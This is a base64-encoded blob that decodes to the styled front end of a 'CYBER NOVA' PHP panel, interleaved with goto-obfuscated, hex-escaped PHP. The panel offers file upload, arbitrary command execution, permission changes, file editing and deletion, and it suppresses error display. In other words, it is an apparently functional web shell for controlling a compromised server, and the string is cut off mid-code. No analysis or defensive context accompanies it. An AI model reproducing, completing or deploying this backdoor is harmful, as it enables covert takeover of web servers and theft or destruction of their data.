I6I2ZmZjtiYWNrZ3JvdW5kLWltYWdlOnJhZGlhbC1ncmFkaWVudChjaXJjbGUgYXQgMjAlIDMwJSxyZ2JhKDAsMjM4LDI1NSwuMDUpIDAsdHJhbnNwYXJlbnQgNDAlKSxyYWRpYWwtZ3JhZGllbnQoY2lyY2xlIGF0IDgwJSA3MCUscmdiYSgxNTcsMCwyNTUsLjA1KSAwLHRyYW5zcGFyZW50IDQwJSl9LmN5YmVyLWhlYWRlcntiYWNrZ3JvdW5kOnJnYmEoMjEsMjEsNDgsLjk1KTtib3JkZXItYm90dG9tOjNweCBzb2xpZCB2YXIoLS1jeWJlci1ibHVlKTtwYWRkaW5nOjI1cHggNDBweDtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47YWxpZ24taXRlbXM6Y2VudGVyO2JveC1zaGFkb3c6MCAwIDQwcHggdmFyKC0tY3liZXItYmx1ZSk7cG9zaXRpb246c3RpY2t5O3RvcDowO3otaW5kZXg6MTAwMDtiYWNrZHJvcC1maWx0ZXI6Ymx1cigxMHB4KX0uaGVhZGVyLWxlZnR7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6MjVweH0ubm92YS10aXRsZXtmb250LWZhbWlseTpPcmJpdHJvbixtb25vc3BhY2U7Zm9udC1zaXplOjIuNXJlbTtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1jeWJlci1ibHVlKSx2YXIoLS1tYXRyaXgtZ3JlZW4pKTstd2Via2l0LWJhY2tncm91bmQtY2xpcDp0ZXh0O2JhY2tncm91bmQtY2xpcDp0ZXh0O2NvbG9yOnRyYW5zcGFyZW50O3RleHQtc2hhZG93OnZhcigtLWN5YmVyLWdsb3cpIHZhcigtLWN5YmVyLWJsdWUpO2xldHRlci1zcGFjaW5nOjJweH0uc2Vzc2lvbi1pbmZve2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjIwcHg7Zm9udC1mYW1pbHk6J1NoYXJlIFRlY2ggTW9ubycsbW9ub3NwYWNlfS5zdGF0dXMtYmFkZ2V7cGFkZGluZzo4cHggMjBweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1jeWJlci1ibHVlKSx2YXIoLS1uZW9uLXB1cnBsZSkpO2JvcmRlci1yYWRpdXM6MjBweDtmb250LXNpemU6LjlyZW07Zm9udC13ZWlnaHQ6NzAwO3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtsZXR0ZXItc3BhY2luZzoxcHh9LmxvZ291dC1idG57cGFkZGluZzoxMnB4IDMwcHg7YmFja2dyb3VuZDp2YXIoLS1jeWJlci1yZWQpO2JvcmRlcjpub25lO2JvcmRlci1yYWRpdXM6MTBweDtjb2xvcjojZmZmO2ZvbnQtZmFtaWx5Ok9yYml0cm9uLG1vbm9zcGFjZTtmb250LXdlaWdodDo3MDA7Y3Vyc29yOnBvaW50ZXI7dHJhbnNpdGlvbjphbGwgLjNzO3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtsZXR0ZXItc3BhY2luZzoxcHh9LmxvZ291dC1idG46aG92ZXJ7YmFja2dyb3VuZDojYzA0O3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0ycHgpO2JveC1zaGFkb3c6MCAwIDMwcHggdmFyKC0tY3liZXItcmVkKX0uY3liZXItY29udGFpbmVye21heC13aWR0aDoxNjAwcHg7bWFyZ2luOjMwcHggYXV0bztwYWRkaW5nOjAgMzBweH0ubmV1cmFsLW1lc3NhZ2V7YmFja2dyb3VuZDpyZ2JhKDAsMjU1LDY1LC4xKTtib3JkZXItbGVmdDo0cHggc29saWQgdmFyKC0tbWF0cml4LWdyZWVuKTtib3JkZXItcmFkaXVzOjEwcHg7cGFkZGluZzoyNXB4O21hcmdpbi1ib3R0b206MzBweDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoyMHB4O2FuaW1hdGlvbjpwdWxzZUdsb3cgMnMgaW5maW5pdGV9QGtleWZyYW1lcyBwdWxzZUdsb3d7MCUsMTAwJXtib3gtc2hhZG93OjAgMCAyMHB4IHJnYmEoMCwyNTUsNjUsLjMpfTUwJXtib3gtc2hhZG93OjAgMCA0MHB4IHJnYmEoMCwyNTUsNjUsLjUpfX0ubWF0cml4LW5hdntiYWNrZ3JvdW5kOnJnYmEoNDIsNDIsODAsLjgpO2JvcmRlcjoycHggc29saWQgdmFyKC0tbmVvbi1wdXJwbGUpO2JvcmRlci1yYWRpdXM6MTVweDtwYWRkaW5nOjI1cHg7bWFyZ2luLWJvdHRvbTozMHB4O2ZvbnQtZmFtaWx5OidTaGFyZSBUZWNoIE1vbm8nLG1vbm9zcGFjZX0uY3liZXItYnJlYWRjcnVtYntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2ZsZXgtd3JhcDp3cmFwO2dhcDoxNXB4O2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpfS5jeWJlci1icmVhZGNydW1iIGF7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTt0ZXh0LWRlY29yYXRpb246bm9uZTtwYWRkaW5nOjhweCAxNXB4O2JvcmRlci1yYWRpdXM6OHB4O3RyYW5zaXRpb246YWxsIC4zcztib3JkZXI6MXB4IHNvbGlkIHRyYW5zcGFyZW50fS5jeWJlci1icmVhZGNydW1iIGE6aG92ZXJ7Ym9yZGVyLWNvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2JhY2tncm91bmQ6cmdiYSgwLDIzOCwyNTUsLjEpO2JveC1zaGFkb3c6MCAwIDE1cHggdmFyKC0tY3liZXItYmx1ZSl9LmN5YmVyLXRvb2xze2Rpc3BsYXk6Z3JpZDtncmlkLXRlbXBsYXRlLWNvbHVtbnM6cmVwZWF0KGF1dG8tZml0LG1pbm1heCgzNTBweCwxZnIpKTtnYXA6MzBweDttYXJnaW4tYm90dG9tOjQwcHh9LnRvb2wtY2FyZHtiYWNrZ3JvdW5kOnJnYmEoMjYsMjYsNDgsLjkpO2JvcmRlcjoycHggc29saWQgdmFyKC0tY3liZXItYmx1ZSk7Ym9yZGVyLXJhZGl1czoxNXB4O3BhZGRpbmc6MjVweDt0cmFuc2l0aW9uOmFsbCAuM3M7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6aGlkZGVufS50b29sLWNhcmQ6aG92ZXJ7Ym9yZGVyLWNvbG9yOnZhcigtLW1hdHJpeC1ncmVlbik7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTVweCk7Ym94LXNoYWRvdzowIDEwcHggMzBweCB2YXIoLS1jeWJlci1ibHVlKX0udG9vbC1jYXJkOjpiZWZvcmV7Y29udGVudDonJztwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0OjA7cmlnaHQ6MDtib3R0b206MDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx0cmFuc3BhcmVudCxyZ2JhKDAsMjM4LDI1NSwuMDUpLHRyYW5zcGFyZW50KTt6LWluZGV4Oi0xfS50b29sLWhlYWRlcntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxNXB4O21hcmdpbi1ib3R0b206MjVweDtjb2xvcjp2YXIoLS1tYXRyaXgtZ3JlZW4pO2ZvbnQtZmFtaWx5Ok9yYml0cm9uLG1vbm9zcGFjZTtmb250LXNpemU6MS4zcmVtfS5mb3JtLWdyb3Vwe21hcmdpbi1ib3R0b206MjBweH0uY3liZXItbGFiZWx7ZGlzcGxheTpibG9jazttYXJnaW4tYm90dG9tOjEwcHg7Y29sb3I6dmFyKC0tY3liZXItYmx1ZSk7Zm9udC1zaXplOi45cmVtO3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtsZXR0ZXItc3BhY2luZzoxcHh9LmN5YmVyLWlucHV0e3dpZHRoOjEwMCU7cGFkZGluZzoxNXB4O2JhY2tncm91bmQ6cmdiYSgxMCwxMCwyNiwuOCk7Ym9yZGVyOjJweCBzb2xpZCB2YXIoLS1uZW9uLXB1cnBsZSk7Ym9yZGVyLXJhZGl1czoxMHB4O2NvbG9yOiNmZmY7Zm9udC1mYW1pbHk6J1NoYXJlIFRlY2ggTW9ubycsbW9ub3NwYWNlO2ZvbnQtc2l6ZToxLjFyZW07dHJhbnNpdGlvbjphbGwgLjNzfS5jeWJlci1pbnB1dDpmb2N1c3tvdXRsaW5lOjA7Ym9yZGVyLWNvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2JveC1zaGFkb3c6MCAwIDIwcHggdmFyKC0tY3liZXItYmx1ZSl9LmN5YmVyLWJ0bntwYWRkaW5nOjE1cHggMjVweDtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjEwcHg7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlO2ZvbnQtd2VpZ2h0OjcwMDtjdXJzb3I6cG9pbnRlcjt0cmFuc2l0aW9uOmFsbCAuM3M7dGV4dC1kZWNvcmF0aW9uOm5vbmU7ZGlzcGxheTppbmxpbmUtYmxvY2s7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlO2xldHRlci1zcGFjaW5nOjFweH0uY3liZXItYnRuLXByaW1hcnl7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcsdmFyKC0tY3liZXItYmx1ZSksdmFyKC0tbmVvbi1wdXJwbGUpKTtjb2xvcjojZmZmfS5jeWJlci1idG4tcHJpbWFyeTpob3ZlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1tYXRyaXgtZ3JlZW4pLHZhcigtLWN5YmVyLWJsdWUpKTt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMnB4KTtib3gtc2hhZG93OjAgNXB4IDIwcHggdmFyKC0tY3liZXItYmx1ZSl9LmN5YmVyLWJ0bi1zdWNjZXNze2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDQ1ZGVnLHZhcigtLW1hdHJpeC1ncmVlbiksIzBjMCk7Y29sb3I6I2ZmZn0uY3liZXItYnRuLWRhbmdlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1jeWJlci1yZWQpLCNmMzApO2NvbG9yOiNmZmZ9LmN5YmVyLWJ0bi13YXJuaW5ne2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDQ1ZGVnLHZhcigtLWN5YmVyLXllbGxvdyksI2ZhMCk7Y29sb3I6IzAwMH0uZGF0YS10YWJsZS1jb250YWluZXJ7YmFja2dyb3VuZDpyZ2JhKDI2LDI2LDQ4LC45KTtib3JkZXI6MnB4IHNvbGlkIHZhcigtLW1hdHJpeC1ncmVlbik7Ym9yZGVyLXJhZGl1czoxNXB4O292ZXJmbG93OmhpZGRlbjttYXJnaW4tYm90dG9tOjQwcHg7Ym94LXNoYWRvdzowIDAgMzBweCByZ2JhKDAsMjU1LDY1LC4zKX0uZGF0YS10YWJsZXt3aWR0aDoxMDAlO2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2V9LmRhdGEtdGFibGUgdGhlYWR7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcscmdiYSgwLDIzOCwyNTUsLjMpLHJnYmEoMCwyNTUsNjUsLjMpKX0uZGF0YS10YWJsZSB0aHtwYWRkaW5nOjIwcHg7dGV4dC1hbGlnbjpsZWZ0O2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2ZvbnQtc2l6ZToxLjFyZW07dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlO2xldHRlci1zcGFjaW5nOjJweH0uZGF0YS10YWJsZSB0ZHtwYWRkaW5nOjE4cHggMjBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCByZ2JhKDAsMjM4LDI1NSwuMSl9LmRhdGEtdGFibGUgdGJvZHkgdHI6aG92ZXJ7YmFja2dyb3VuZDpyZ2JhKDAsMjM4LDI1NSwuMDUpfS5kYXRhLWljb257Zm9udC1zaXplOjEuNXJlbTttYXJnaW4tcmlnaHQ6MTVweH0uZGF0YS1hY3Rpb25ze2Rpc3BsYXk6ZmxleDtnYXA6MTBweH0uY3liZXItZWRpdG9ye2JhY2tncm91bmQ6cmdiYSgyNiwyNiw0OCwuOTUpO2JvcmRlcjozcHggc29saWQgdmFyKC0tY3liZXIteWVsbG93KTtib3JkZXItcmFkaXVzOjE1cHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbi1ib3R0b206NDBweDtib3gtc2hhZG93OjAgMCA0MHB4IHJnYmEoMjU1LDI1NSwwLC4zKX0uZWRpdG9yLWhlYWRlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyxyZ2JhKDI1NSwyNTUsMCwuMikscmdiYSgwLDI1NSw2NSwuMikpO3BhZGRpbmc6MjBweCAzMHB4O2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjthbGlnbi1pdGVtczpjZW50ZXJ9LmVkaXRvci10aXRsZXtjb2xvcjp2YXIoLS1jeWJlci15ZWxsb3cpO2ZvbnQtZmFtaWx5Ok9yYml0cm9uLG1vbm9zcGFjZTtmb250LXNpemU6MS40cmVtfS5uZXVyYWwtY29udGVudHt3aWR0aDoxMDAlO21pbi1oZWlnaHQ6NTAwcHg7cGFkZGluZzozMHB4O2JhY2tncm91bmQ6cmdiYSgxMCwxMCwyNiwuOSk7Ym9yZGVyOm5vbmU7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2U7Zm9udC1zaXplOjE2cHg7bGluZS1oZWlnaHQ6MS44O3Jlc2l6ZTp2ZXJ0aWNhbH0uY3liZXItZm9vdGVye2JhY2tncm91bmQ6cmdiYSgyMSwyMSw0OCwuOTUpO2JvcmRlci10b3A6MnB4IHNvbGlkIHZhcigtLW5lb24tcHVycGxlKTtwYWRkaW5nOjMwcHg7bWFyZ2luLXRvcDo1MHB4O2JvcmRlci1yYWRpdXM6MTVweCAxNXB4IDAgMDt0ZXh0LWFsaWduOmNlbnRlcn0uc3RhdHMtZ3JpZHtkaXNwbGF5OmdyaWQ7Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOnJlcGVhdChhdXRvLWZpdCxtaW5tYXgoMjIwcHgsMWZyKSk7Z2FwOjI1cHg7bWFyZ2luLWJvdHRvbToyNXB4fS5zdGF0LWNhcmR7YmFja2dyb3VuZDpyZ2JhKDAsMjM4LDI1NSwuMSk7cGFkZGluZzoyMHB4O2JvcmRlci1yYWRpdXM6MTJweDtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWN5YmVyLWJsdWUpfS5zdGF0LWxhYmVse2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2ZvbnQtc2l6ZTouOXJlbTt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7bGV0dGVyLXNwYWNpbmc6MXB4O21hcmdpbi1ib3R0b206OHB4fS5zdGF0LXZhbHVle2NvbG9yOnZhcigtLW1hdHJpeC1ncmVlbik7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlO2ZvbnQtc2l6ZToxLjNyZW19Ojotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDoxMnB4fTo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7YmFja2dyb3VuZDp2YXIoLS1kYXJrLXNwYWNlKX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KHZhcigtLWN5YmVyLWJsdWUpLHZhcigtLW5lb24tcHVycGxlKSk7Ym9yZGVyLXJhZGl1czo2cHh9Ojotd2Via2l0LXNjcm9sbGJhci10aHVtYjpob3ZlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCh2YXIoLS1tYXRyaXgtZ3JlZW4pLHZhcigtLWN5YmVyLWJsdWUpKX1AbWVkaWEgKG1heC13aWR0aDo3NjhweCl7LmN5YmVyLWhlYWRlcntmbGV4LWRpcmVjdGlvbjpjb2x1bW47Z2FwOjE1cHg7cGFkZGluZzoyMHB4fS5jeWJlci10b29sc3tncmlkLXRlbXBsYXRlLWNvbHVtbnM6MWZyfS5kYXRhLXRhYmxle2Rpc3BsYXk6YmxvY2s7b3ZlcmZsb3cteDphdXRvfS5jeWJlci1jb250YWluZXJ7cGFkZGluZzowIDIwcHh9fTwvc3R5bGU+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImN5YmVyLWhlYWRlciI+PGRpdiBjbGFzcz0iaGVhZGVyLWxlZnQiPjxkaXYgY2xhc3M9Im5vdmEtdGl0bGUiPkNZQkVSIE5PVkE8L2Rpdj48ZGl2IGNsYXNzPSJzZXNzaW9uLWluZm8iPjxkaXYgY2xhc3M9InN0YXR1cy1iYWRnZSI+TkVVUkFMIEFDVElWRTwvZGl2PjxkaXYgc3R5bGU9ImNvbG9yOnZhcigtLW1hdHJpeC1ncmVlbikiPjw/cGhwICBnb3RvIExLQ0dZOyBQaTNkNTogZ290byBEa1NxRjsgZ290byBYb1hjbTsgTEswUTY6ICROX1VQTE9BRCA9ICRuZXVyYWxDb3JlLT5nZXROZXVyYWxGdW5jdGlvbigiXHg2ZFx4NmZceDc2XDE0NVwxMzdcMTY1XHg3MFx4NmNceDZmXHg2MVx4NjRceDY1XHg2NFx4NWZceDY2XHg2OVx4NmNceDY1Iik7IGdvdG8gUGkzZDU7IE1zMkxYOiA/Pgo8L3NwYW4+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iY3liZXItdG9vbHMiPjxkaXYgY2xhc3M9InRvb2wtY2FyZCI+PGRpdiBjbGFzcz0idG9vbC1oZWFkZXIiPjxzcGFuPvCfk6Q8L3NwYW4+IDxzcGFuPkRBVEEgVVBMT0FEPC9zcGFuPjwvZGl2Pjxmb3JtIG1ldGhvZD0icG9zdCJlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48aW5wdXQgbmFtZT0iZGF0YV9maWxlImNsYXNzPSJjeWJlci1pbnB1dCJyZXF1aXJlZCB0eXBlPSJmaWxlIj48L2Rpdj48YnV0dG9uIGNsYXNzPSJjeWJlci1idG4gY3liZXItYnRuLXByaW1hcnkidHlwZT0ic3VibWl0InN0eWxlPSJ3aWR0aDoxMDAlIj5VUExPQUQgVE8gTUFUUklYPC9idXR0b24+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9InRvb2wtY2FyZCI+PGRpdiBjbGFzcz0idG9vbC1oZWFkZXIiPjxzcGFuPuKaoTwvc3Bhbj4gPHNwYW4+Q1JFQVRFIE5PREU8L3NwYW4+PC9kaXY+PGZvcm0gbWV0aG9kPSJwb3N0Ij48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48aW5wdXQgbmFtZT0ibm9kZV9uYW1lImNsYXNzPSJjeWJlci1pbnB1dCJyZXF1aXJlZCBwbGFjZWhvbGRlcj0iTm9kZSBOYW1lIj48L2Rpdj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48c2VsZWN0IGNsYXNzPSJjeWJlci1pbnB1dCJuYW1lPSJub2RlX3R5cGUiPjxvcHRpb24gdmFsdWU9ImZpbGUiPvCfk4QgRGF0YSBOb2RlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5Ij7wn5OBIE5ldXJhbCBOb2RlPC9vcHRpb24+PC9zZWxlY3Q+PC9kaXY+PGJ1dHRvbiBjbGFzcz0iY3liZXItYnRuIGN5YmVyLWJ0bi1zdWNjZXNzInR5cGU9InN1Ym1pdCJzdHlsZT0id2lkdGg6MTAwJSI+Q1JFQVRFIE5PREU8L2J1dHRvbj48L2Zvcm0+PC9kaXY+PGRpdiBjbGFzcz0idG9vbC1jYXJkIj48ZGl2IGNsYXNzPSJ0b29sLWhlYWRlciI+PHNwYW4+8J+Suzwvc3Bhbj4gPHNwYW4+Q1lCRVIgQ09NTUFORDwvc3Bhbj48L2Rpdj48Zm9ybSBtZXRob2Q9InBvc3QiYWN0aW9uPSI/YWN0aW9uPWV4ZWN1dGUmbWF0cml4PTw/cGhwICBnb3RvIFFTMjFlOyBCejhrRzogTUxCV0Q6IGdvdG8gQWVjX2Y7IGhJNnBoOiBnb3RvIEhKb2JyOyBnb3RvIG5pMW8yOyB4TTRDcjogZWNobyByYW5kKDEsIDEwMCk7IGdvdG8gelJfNGw7IGI3VmZJOiAkbmV1cmFsQXV0aCA9IG5ldyBOZXVyYWxBdXRoKCk7IGdvdG8gYTAzQzI7IERISlVOOiBEYzRERDogZ290byBtQVQwVjsgSDdfNGE6IEsxMEhIOiBnb3RvIG1jOWFxOyBtRlhueDogaW5pX3NldCgiXDE0NFwxNTFcMTYzXHg3MFwxNTRcMTQxXDE3MVx4NWZceDY1XHg3Mlx4NzJcMTU3XDE2MlwxNjMiLCAwKTsgZ290byBxQlI3TzsgR3c4TGs6ID8+CiI+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+PGlucHV0IG5hbWU9ImN5YmVyX2NtZCJjbGFzcz0iY3liZXItaW5wdXQicmVxdWlyZWQgcGxhY2Vob2xkZXI9IkVudGVyIEN5YmVyIENvbW1hbmQiPjwvZGl2PjxidXR0b24gY2xhc3M9ImN5YmVyLWJ0biBjeWJlci1idG4tZGFuZ2VyInR5cGU9InN1Ym1pdCJzdHlsZT0id2lkdGg6MTAwJSI+RVhFQ1VURSBDT01NQU5EPC9idXR0b24+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9InRvb2wtY2FyZCI+PGRpdiBjbGFzcz0idG9vbC1oZWFkZXIiPjxzcGFuPvCflJA8L3NwYW4+IDxzcGFuPkFDQ0VTUyBDT05UUk9MPC9zcGFuPjwvZGl2Pjxmb3JtIG1ldGhvZD0icG9zdCJhY3Rpb249Ij9hY3Rpb249Y2htb2QmbWF0cml4PTw/cGhwICBnb3RvIGw4ak9IOyBUZ2padzogZ290byBDYlJQdDsgZ290byB2ZG1jQjsgUElIT1A6ICROX09VVFBVVCA9ICRuZXVyYWxDb3JlLT5nZXROZXVyYWxGdW5jdGlvbigiXHg2NVx4NjNceDY4XHg2ZiIpOyBnb3RvIHAwUWhVOyBTenRBYTogZ290byBVb3lCTjsgZ290byBPY01jaDsgWlJTVUw6IGN5aTR5OiBnb3RvIHZ1RURGOyB6Y0hSZDogZ290byBIQW1wbDsgZ290byBmd3c3ajsgYzgya0Q6IGVjaG8gJGN1cnJlbnRNYXRyaXg7IGdvdG8gdUxhUjU7IEU1QVN3OiBIQW1wbDogZ290byBVZjBHbzsgc1RkMUM6IGdvdG8ga3JOSlA7IGdvdG8gSE5Cb0c7IFpDck1nOiB3SHVzUDogZ290byBSOUZkUzsgZE5YczQ6IGdvdG8gUFB6QV87IGdvdG8gWFhXYTA7IGJNcnhrOiBnb3RvIEVCZlNzOyBnb3RvIEJ6OGtHOyBlQW1GNzogZWNobyBkYXRlKCJceDQ4XHgzYVx4NjlcNzJcMTYzIik7IGdvdG8gbk5PNzY7IG5OTzc2OiBnb3RvIEdQSUV3OyBnb3RvIFJZOFptOyBaUUV4eDogTjlMUzk6IGdvdG8gc0FoWHM7IERIaXdROiA/Pgo8L2Rpdj48L2Rpdj48L2Rpdj48YSBocmVmPSI/YWN0aW9uPWxvZ291dCJjbGFzcz0ibG9nb3V0LWJ0biI+VEVSTUlOQVRFIFNFU1NJT048L2E+PC9kaXY+PGRpdiBjbGFzcz0iY3liZXItY29udGFpbmVyIj48P3BocCAgZ290byBJbmw4MjsgaFYxOHo6IGlmIChlbXB0eSgkbWF0cml4Q29udGVudHMpKSB7ID8+Cjx0cj48dGQgY29sc3Bhbj0iNSJzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzo1MHB4O2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpIj48ZGl2IHN0eWxlPSJmb250LXNpemU6NHJlbTttYXJnaW4tYm90dG9tOjIwcHgiPvCfkr48L2Rpdj5NQVRSSVggSVMgRU1QVFk8L3RkPjwvdHI+PD9waHAgIH0gZWxzZSB7IGZvcmVhY2ggKCRtYXRyaXhDb250ZW50cyBhcyAkbm9kZSkgeyA/Pgo8dHI+PHRkPjxkaXYgc3R5bGU9ImRpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjE1cHgiPjw/cGhwICBlY2hvICRub2RlWyJcMTUxXHg2M1wxNTdceDZlIl07IGlmICgkbm9kZVsiXDE2NFwxNzFcMTYwXDE0NSJdID09ICJceDY0XDE1MVwxNjJceDY1XHg2M1wxNjRceDZmXHg3MlwxNzEiKSB7ID8+CjxhIGhyZWY9Ij9tYXRyaXg9PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRub2RlWyJcMTYwXDE0MVwxNjRcMTUwIl0pOyA/Pgoic3R5bGU9ImNvbG9yOnZhcigtLWN5YmVyLXllbGxvdyk7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlO2ZvbnQtd2VpZ2h0OjcwMCI+PD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbm9kZVsiXDE1NlwxNDFcMTU1XDE0NSJdKTsgPz4KPC9hPjw/cGhwICB9IGVsc2UgeyA/Pgo8c3BhbiBzdHlsZT0iY29sb3I6I2ZmZjtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2UiPjw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG5vZGVbIlwxNTZceDYxXDE1NVx4NjUiXSk7ID8+Cjwvc3Bhbj48P3BocCAgfSA/Pgo8L2Rpdj48L3RkPjx0ZD48P3BocCAgZWNobyAkbm9kZVsiXHg3M1x4NjlcMTcyXHg2NSJdOyA/Pgo8L3RkPjx0ZD48P3BocCAgZWNobyAkbm9kZVsiXHg2ZFx4NmZceDY0XDE1MVx4NjZceDY5XHg2NVwxNDQiXTsgPz4KPC90ZD48dGQ+PGNvZGUgc3R5bGU9ImJhY2tncm91bmQ6cmdiYSgwLDIzOCwyNTUsLjEpO3BhZGRpbmc6NXB4IDEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2UiPjw/cGhwICBlY2hvICRub2RlWyJceDcwXDE0NVwxNjJceDZkXHg3MyJdOyA/Pgo8L2NvZGU+PC90ZD48dGQ+PGRpdiBjbGFzcz0iZGF0YS1hY3Rpb25zIj48P3BocCAgaWYgKCRub2RlWyJceDc0XHg3OVwxNjBcMTQ1Il0gIT0gIlwxNDRcMTUxXHg3Mlx4NjVcMTQzXHg3NFwxNTdcMTYyXHg3OSIpIHsgPz4KPGEgaHJlZj0iP2VkaXQ9PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRub2RlWyJceDcwXDE0MVx4NzRcMTUwIl0pOyA/PgombWF0cml4PTw/cGhwICBlY2hvIHVybGVuY29kZSgkY3VycmVudE1hdHJpeCk7ID8+CiJjbGFzcz0iY3liZXItYnRuIGN5YmVyLWJ0bi1zdWNjZXNzIj5FRElUPC9hPjw/cGhwICB9ID8+CjxhIGhyZWY9Ij9hY3Rpb249ZGVsZXRlJnRhcmdldD08P3BocCAgZWNobyB1cmxlbmNvZGUoJG5vZGVbIlwxNjBcMTQxXHg3NFx4NjgiXSk7ID8+CiZtYXRyaXg9PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TWF0cml4KTsgPz4KImNsYXNzPSJjeWJlci1idG4gY3liZXItYnRuLWRhbmdlciJvbmNsaWNrPSdyZXR1cm4gY29uZmlybSgiUEVSTUFORU5UTFkgREVMRVRFIFRISVMgTk9ERT8iKSc+REVMRVRFPC9hPjwvZGl2PjwvdGQ+PC90cj48P3BocCAgfSB9IGdvdG8gSl9OOWc7IFJZOFptOiB5Z1FqNzogZ290byBNczJMWDsgRWFSaFI6IGdvdG8gRGM0REQ7IGdvdG8gc3QzZHg7IGt1NnBZOiB1ZVFCbDogZ290byBlQW1GNzsgcm9QQk86IGVjaG8gcm91bmQobWVtb3J5X2dldF91c2FnZSh0cnVlKSAvIDEwMjQgLyAxMDI0LCAyKTsgZ290byBOQlNIQzsga0p3cGY6IGdvdG8gdWVRQmw7IGdvdG8gZTRnYUg7IGRmVWxFOiBGQmV4WDogZ290byBQTUtPYTsgYUtYV246IGdvdG8gTDRweWk7IGdvdG8gV0FSa0Q7IFFTMjFlOiBnb3RvIElqNEc0OyBnb3RvIG5NQ1JBOyBXQVJrRDogVW95Qk46IGdvdG8geWtZOFk7IGZtd3hVOiBMOGNWbjogZ290byBMMmxMaTsgUndFUGQ6IGdvdG8gZlNlWU07IGdvdG8gWlFFeHg7IG1jOWFxOiAkbmV1cmFsTWVzc2FnZSA9ICcnOyBnb3RvIGpoVEowOyBzdDNkeDogdHJmdUY6IGdvdG8gQUlSYVA7IHpDMXdQOiBJajRHNDogZ290byBmXzA3MTsgVVZOVFo6IGlmICghJG5ldXJhbEF1dGgtPmlzQXV0aGVudGljYXRlZCgpKSB7IGlmIChpc3NldCgkX1BPU1RbIlwx